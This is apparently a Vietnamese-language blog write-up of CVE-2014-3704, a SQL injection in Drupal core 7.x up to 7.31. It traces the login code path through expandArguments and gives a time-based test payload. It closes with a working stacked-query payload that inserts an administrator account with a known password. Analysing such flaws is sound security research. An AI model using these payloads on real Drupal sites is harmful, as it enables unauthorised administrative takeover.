– Tác giả:
Stefan Horst [stefan.horst[at]sektioneins.de]
– CVE link:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-3704
– Dạng lỗi:
SQL Injection
– Sản phẩm dính đạn:
Drupal core 7.x -> 7.31
– Tóm tắt lỗi:
expandArguments
function code lỗi, cho phép kẻ tấn công thực hiện SQLi bằng cách nhập array vào
– Cụ thể:
Đầu tiên down source drupal 7.31 về, cài đặt lên
thử đổi biến name
thành dạng array (vì lỗi bảo vậy mà ^_^)
Vào xem thử code của luồng hoạt động khi ta login:
(./modules/user/user.module:2137)
line 2149 gọi function db_query
nhận vào biến query là "SELECT * FROM {users} WHERE name = :name AND status = 1"
và mảng với key là :name
nhận giá trị ta input từ form login vào
Trace hàm db_query
(./includes/database/database.inc)
Line 2350 gọi đến hàm query (./includes/database/database.inc)
, trace tiếp:
Đã tới được điểm nóng, line 681 gọi hàm expandArguments
với các tham số đi vào giống như khi đi vào lòng người à lộn đi vào hàm db_query
ở trên.
Nếu hoạt động như bình thường ( ?name=tsu )
, thì không có gì xảy ra cả, login chạy bình thường, nhưng ở line 737, nếu trong args
là array, thì nó sẽ được “expand” ra và nối lại dưới dạng $new_keys[$key . '_' . $i] = $value;
Test thử dưới local nè:
Ở line 755 (cũng trong hàm expandArguments
), mấy cái được nối lại sẽ được replace vào câu query:
cho nên là khi input name[e]=tsu&name[y]=tsu2
, câu query sẽ trở thành:
Vậy sẽ thế nào khi sửa name[e]
thành name[0 or sleep(5)# ]
, câu query sẽ thành
SELECT * FROM {users} WHERE name = :name_0 or sleep(5)# , :name_0 AND status = 1
=> Sleep 5 giây ^_^
– Exploit:
Drupal sử dụng PDO nên có thể chạy được sql stack query => Tạo user quyền admin => pwned
name[0;insert into users values (99999,'tsuhihi','$S$DpPaNHY90R5mQ.O5jkVIyT3PjPLcVvLEcsZ1sVZ5X5onytapTfkk','hacked@gmail.com','','',NULL,0,0,0,1,NULL,'',0,'',NULL);#]
user: tsuhihi
pass: 123456